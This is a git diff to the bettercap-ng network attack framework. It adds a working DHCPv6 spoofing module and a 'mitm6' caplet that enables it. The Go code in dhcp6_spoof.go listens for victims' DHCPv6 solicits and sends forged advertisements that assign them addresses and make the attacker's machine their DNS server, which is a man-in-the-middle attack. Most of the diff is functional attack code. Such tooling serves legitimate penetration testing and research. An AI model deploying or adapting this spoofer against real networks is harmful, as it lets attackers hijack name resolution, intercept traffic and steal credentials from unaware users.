diff --git a/Makefile b/Makefile index db6a8eaf..a64bbc5f 100644 --- a/Makefile +++ b/Makefile @@ -41,6 +41,7 @@ deps: @go get -u github.com/jteeuwen/go-bindata/... @go get github.com/elazarl/goproxy @go get github.com/google/gopacket + @go get github.com/mdlayher/dhcp6 @go get github.com/malfunkt/iprange @go get github.com/rogpeppe/go-charset/charset @go get github.com/chzyer/readline diff --git a/caplets/mitm6.cap b/caplets/mitm6.cap new file mode 100644 index 00000000..be9ba557 --- /dev/null +++ b/caplets/mitm6.cap @@ -0,0 +1,13 @@ +# custom prompt for ipv6 ... this is cool, i know :) +set $ {by}{fw}{cidr} {fb}> {env.iface.ipv6} {reset} {bold}» {reset} + +net.recon on +# redirect http traffic to a proxy +# http.proxy on +# wait for everything to start properly +# sleep 1 + +dhcp6.spoof on + +events.clear +clear diff --git a/main.go b/main.go index de9179e7..bed7520c 100644 --- a/main.go +++ b/main.go @@ -26,6 +26,7 @@ func main() { sess.Register(modules.NewProber(sess)) sess.Register(modules.NewDiscovery(sess)) sess.Register(modules.NewArpSpoofer(sess)) + sess.Register(modules.NewDHCP6Spoofer(sess)) sess.Register(modules.NewSniffer(sess)) sess.Register(modules.NewHttpServer(sess)) sess.Register(modules.NewHttpProxy(sess)) diff --git a/modules/dhcp6_spoof.go b/modules/dhcp6_spoof.go new file mode 100644 index 00000000..7f722688 --- /dev/null +++ b/modules/dhcp6_spoof.go @@ -0,0 +1,290 @@ +package modules + +import ( + "crypto/rand" + "net" + "time" + + "github.com/evilsocket/bettercap-ng/core" + "github.com/evilsocket/bettercap-ng/log" + "github.com/evilsocket/bettercap-ng/packets" + "github.com/evilsocket/bettercap-ng/session" + + "github.com/google/gopacket" + "github.com/google/gopacket/layers" + "github.com/google/gopacket/pcap" + + // TODO: refactor to use gopacket when gopacket folks + // will fix this > https://github.com/google/gopacket/issues/334 + "github.com/mdlayher/dhcp6" + "github.com/mdlayher/dhcp6/dhcp6opts" +) + +type DHCP6Spoofer struct { + session.SessionModule + Handle *pcap.Handle + DUID *dhcp6opts.DUIDLLT + Domain string +} + +func NewDHCP6Spoofer(s *session.Session) *DHCP6Spoofer { + spoof := &DHCP6Spoofer{ + SessionModule: session.NewSessionModule("dhcp6.spoof", s), + Handle: nil, + } + + spoof.AddParam(session.NewStringParameter("dhcp6.spoof.domain", + "microsoft.com", + ``, + "Domain name to spoof.")) + + spoof.AddHandler(session.NewModuleHandler("dhcp6.spoof on", "", + "Start the DHCPv6 spoofer in the background.", + func(args []string) error { + return spoof.Start() + })) + + spoof.AddHandler(session.NewModuleHandler("dhcp6.spoof off", "", + "Stop the DHCPv6 spoofer in the background.", + func(args []string) error { + return spoof.Stop() + })) + + return spoof +} + +func (s DHCP6Spoofer) Name() string { + return "dhcp6.spoof" +} + +func (s DHCP6Spoofer) Description() string { + return "Replies to DHCPv6 messages, providing victims with a link-local IPv6 address and setting the attackers host as default DNS server (https://github.com/fox-it/mitm6/)." +} + +func (s DHCP6Spoofer) Author() string { + return "Simone Margaritelli " +} + +func (s *DHCP6Spoofer) Configure() error { + var err error + + if s.Handle, err = pcap.OpenLive(s.Session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil { + return err + } + + err = s.Handle.SetBPFFilter("ip6 and udp") + if err != nil { + return err + } + + if err, s.Domain = s.StringParam("dhcp6.spoof.domain"); err != nil { + return err + } + + if s.DUID, err = dhcp6opts.NewDUIDLLT(1, time.Date(2000, time.January, 1, 0, 0, 0, 0, time.UTC), s.Session.Interface.HW); err != nil { + return err + } + + return nil +} + +const DHCP6OptDNSServers = 23 +const DHCP6OptDNSDomains = 24 +const DHCP6OptClientFQDN = 39 + +// link-local +const IPv6Prefix = "fe80::" + +type DHCPv6Layer struct { + Raw []byte +} + +func (l DHCPv6Layer) SerializeTo(b gopacket.SerializeBuffer, opts gopacket.SerializeOptions) error { + size := len(l.Raw) + + bytes, err := b.PrependBytes(size) + if err != nil { + return err + } + + copy(bytes, l.Raw) + return nil +} + +func (s *DHCP6Spoofer) dhcpAdvertise(pkt gopacket.Packet, solicit dhcp6.Packet, target net.HardwareAddr) { + pktIp6 := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6) + + fqdn := target.String() + if raw, found := solicit.Options[DHCP6OptClientFQDN]; found == true && len(raw) >= 1 { + fqdn = string(raw[0]) + } + + log.Info("Got DHCPv6 Solicit request from %s (%s), sending spoofed advertisement for %s.", core.Bold(fqdn), target, core.Bold(s.Domain)) + + var solIANA dhcp6opts.IANA + + if raw, found := solicit.Options[dhcp6.OptionIANA]; found == false || len(raw) < 1 { + log.Error("Unexpected DHCPv6 packet, could not find IANA.") + return + } else if err := solIANA.UnmarshalBinary(raw[0]); err != nil { + log.Error("Unexpected DHCPv6 packet, could not deserialize IANA.") + return + } + + adv := dhcp6.Packet{ + MessageType: dhcp6.MessageTypeAdvertise, + TransactionID: solicit.TransactionID, + Options: make(dhcp6.Options), + } + + lenDomain := len(s.Domain) + rawDomain := append([]byte{byte(lenDomain & 0xff)}, []byte(s.Domain)...) + + adv.Options.AddRaw(DHCP6OptDNSDomains, rawDomain) + adv.Options.AddRaw(DHCP6OptDNSServers, s.Session.Interface.IPv6) + + rawDUID, err := s.DUID.MarshalBinary() + if err != nil { + log.Error("%s", err) + return + } + adv.Options.AddRaw(dhcp6.OptionServerID, rawDUID) + + var rawCID []byte + if raw, found := solicit.Options[dhcp6.OptionClientID]; found == false || len(raw) < 1 { + log.Error("Unexpected DHCPv6 packet, could not find client id.") + return + } else { + rawCID = raw[0] + } + adv.Options.AddRaw(dhcp6.OptionClientID, rawCID) + + var ip net.IP + if t, found := s.Session.Targets.Targets[target.String()]; found == true { + ip = t.IP + } else { + log.Debug("Address %s not known, using random identity association address.", target.String()) + rand.Read(ip) + } + + iaaddr, err := dhcp6opts.NewIAAddr(ip, 300*time.Second, 300*time.Second, nil) + if err != nil { + log.Error("%s", err) + return + } + + iaaddrRaw, err := iaaddr.MarshalBinary() + if err != nil { + log.Error("%s", err) + return + } + + opts := dhcp6.Options{dhcp6.OptionIAAddr: [][]byte{iaaddrRaw}} + iana := dhcp6opts.NewIANA(solIANA.IAID, 200*time.Second, 250*time.Second, opts) + ianaRaw, err := iana.MarshalBinary() + if err != nil { + log.Error("%s", err) + return + } + + adv.Options.AddRaw(dhcp6.OptionIANA, ianaRaw) + + rawAdv, err := adv.MarshalBinary() + if err != nil { + log.Error("Error serializing advertisement packet: %s.", err) + return + } + + eth := layers.Ethernet{ + SrcMAC: s.Session.Interface.HW, + DstMAC: target, + EthernetType: layers.EthernetTypeIPv6, + } + + ip6 := layers.IPv6{ + Version: 6, + NextHeader: layers.IPProtocolUDP, + HopLimit: 64, + SrcIP: s.Session.Interface.IPv6, + DstIP: pktIp6.SrcIP, + } + + udp := layers.UDP{ + SrcPort: 547, + DstPort: 546, + } + + udp.SetNetworkLayerForChecksum(&ip6) + + final := DHCPv6Layer{ + Raw: rawAdv, + } + + err, raw := packets.Serialize(ð, &ip6, &udp, &final) + if err != nil { + log.Error("Error serializing packet: %s.", err) + return + } + + log.Debug("Sending %d bytes of packet ...", len(raw)) + if err := s.Session.Queue.Send(raw); err != nil { + log.Error("Error sending packet: %s", err) + } +} + +func (s *DHCP6Spoofer) onPacket(pkt gopacket.Packet) { + var dhcp dhcp6.Packet + var err error + + eth := pkt.Layer(layers.LayerTypeEthernet).(*layers.Ethernet) + udp := pkt.Layer(layers.LayerTypeUDP).(*layers.UDP) + + // we just got a dhcp6 packet? + if err = dhcp.UnmarshalBinary(udp.Payload); err == nil { + switch dhcp.MessageType { + case dhcp6.MessageTypeSolicit: + + s.dhcpAdvertise(pkt, dhcp, eth.SrcMAC) + + case dhcp6.MessageTypeRequest: + log.Info("REQUEST %s", dhcp) + + case dhcp6.MessageTypeRenew: + log.Info("RENEW %s", dhcp) + + } + } +} + +func (s *DHCP6Spoofer) Start() error { + if s.Running() == true { + return session.ErrAlreadyStarted + } else if err := s.Configure(); err != nil { + return err + } + + s.SetRunning(true) + + go func() { + defer s.Handle.Close() + + src := gopacket.NewPacketSource(s.Handle, s.Handle.LinkType()) + for packet := range src.Packets() { + if s.Running() == false { + break + } + + s.onPacket(packet) + } + }() + + return nil +} + +func (s *DHCP6Spoofer) Stop() error { + if s.Running() == false { + return session.ErrAlreadyStopped + } + s.SetRunning(false) + return nil +} diff --git a/net/endpoint.go b/net/endpoint.go index 0ca20949..7f5e89c6 100644 --- a/net/endpoint.go +++ b/net/endpoint.go @@ -11,8 +11,10 @@ import ( type OnHostResolvedCallback func(e *Endpoint) type Endpoint struct { IP net.IP `json:"-"` + IPv6 net.IP `json:"."` HW net.HardwareAddr `json:"-"` - IpAddress string `json:"address"` + IpAddress string `json:"ipv4"` + Ip6Address string `json:"ipv6"` SubnetBits uint32 `json:"-"` IpAddressUint32 uint32 `json:"-"` HwAddress string `json:"mac"` diff --git a/net/net.go b/net/net.go index 757d1d60..b1ee501e 100644 --- a/net/net.go +++ b/net/net.go @@ -43,6 +43,12 @@ func FindInterface(name string) (*Endpoint, error) { e = NewEndpointNoResolve(ip_part, mac, iface.Name, uint32(bits)) } } + } else if e != nil { + parts := strings.SplitN(ip, "/", 2) + e.IPv6 = net.ParseIP(parts[0]) + if e.IPv6 != nil { + e.Ip6Address = e.IPv6.String() + } } } diff --git a/session/prompt.go b/session/prompt.go index dd2e1395..e32378ea 100644 --- a/session/prompt.go +++ b/session/prompt.go @@ -9,7 +9,7 @@ import ( const ( PromptVariable = "$" - DefaultPrompt = "{by}{fw}{cidr} {fb}> {env.iface.address} {reset} {bold}» {reset}" + DefaultPrompt = "{by}{fw}{cidr} {fb}> {env.iface.ipv4} {reset} {bold}» {reset}" ) var PromptEffects = map[string]string{ diff --git a/session/session.go b/session/session.go index 6a1acd4c..ceacafe1 100644 --- a/session/session.go +++ b/session/session.go @@ -170,7 +170,8 @@ func (s *Session) Start() error { s.Env.Set(PromptVariable, DefaultPrompt) s.Env.Set("iface.name", s.Interface.Name()) - s.Env.Set("iface.address", s.Interface.IpAddress) + s.Env.Set("iface.ipv4", s.Interface.IpAddress) + s.Env.Set("iface.ipv6", s.Interface.Ip6Address) s.Env.Set("iface.mac", s.Interface.HwAddress) if s.Queue, err = packets.NewQueue(s.Interface.Name()); err != nil {